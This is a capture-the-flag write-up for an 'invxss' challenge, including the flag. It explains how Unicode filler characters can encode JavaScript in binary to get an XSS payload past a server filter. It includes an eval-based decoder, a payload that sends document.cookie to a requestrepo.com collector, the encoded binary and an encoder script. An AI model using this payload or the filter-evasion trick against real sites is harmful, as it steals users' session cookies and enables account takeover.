invxss
Flag
CTF{01d61ad90843b361d128ec1ac7199d323e20a6c372f3ea2c4a9d0e45a9fa4e5b}
Summary
Invisible XSS payload crafting using Unicode zero-width characters as a binary encoding scheme.
Details
We have a website where we are given obfuscated JS code. That code is actually a fork of this encoder.
We rewrite the obfuscated eval code like so:
const decoderProxy = new Proxy({}, {
get: (_, prop) => {
return eval(
[...prop]
.map(char => +('ᅠ' > char))
.join(``)
.replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)))
);
}
});
// Call it using: decoderProxy['<invisible chars here>']
We reverse engineer it and notice that one character means 1 and the other means 0 in binary. We craft our own payload:
document.location = "https://mty6sg3u.requestrepo.com/" + document.cookie
Then encode it using the same scheme:
b_0 = "ᅠ"
b_1 = "ㅤ"
binary_to_convert = "01100100011011110110001101110101011011010110010101101110011101000010111001101100011011110110001101100001011101000110100101101111011011100010000000111101001000000010001001101000011101000111010001110000011100110011101000101111001011110110110101110100011110010011011001110011011001110011001101110101001011100111001001100101011100010111010101100101011100110111010001110010011001010111000001101111001011100110001101101111011011010010111100100010001000000010101100100000011001000110111101100011011101010110110101100101011011100111010000101110011000110110111101101111011010110110100101100101"
for b in binary_to_convert:
if b == "0":
print(b_0, end="")
else:
print(b_1, end="")
dynamic.php
The server only serves content when called with specific headers — here’s the relevant snippet:
<?php
header('Content-Type: application/json');
$requestedFrom = $_SERVER['HTTP_X_REQUESTED_FROM'] ?? null;
$referer = $_SERVER['HTTP_REFERER'] ?? null;
if ($requestedFrom === 'inline-script') {
echo $death_by_100_cuts;
die();
} elseif ($referer) {
echo "";
} else {
echo $death_by_100_cuts;
die();
}
function filterAllowedCharacters(string $input): string {
$allowedSequences = [
"\xEF\xBE\xA0", // ᅠ
"\xE3\x85\xA4" // ㅤ
];
$output = '';
$length = strlen($input);
$i = 0;
while ($i < $length) {
$matched = false;
foreach ($allowedSequences as $sequence) {
$seqLength = strlen($sequence);
if (substr($input, $i, $seqLength) === $sequence) {
$output .= $sequence;
$i += $seqLength;
$matched = true;
break;
}
}
if (!$matched) {
$i++;
}
}
return $output;
}
So the filter strips everything except the two Unicode sequences — which are exactly what we need.
reveal.php
if ($id) {
$db = new SQLite3('messages.db');
$stmt = $db->prepare("SELECT message FROM messages WHERE id = :id");
$stmt->bindValue(':id', $id, SQLITE3_TEXT);
$result = $stmt->execute();
$message = $result->fetchArray(SQLITE3_ASSOC);
if ($message) {
echo "<script src='/dynamic.php?id=" . htmlspecialchars($id, ENT_QUOTES, 'UTF-8') . "'></script>";
}
}
The invisible payload gets stored, passes the filter, and executes via the <script src> when the admin visits.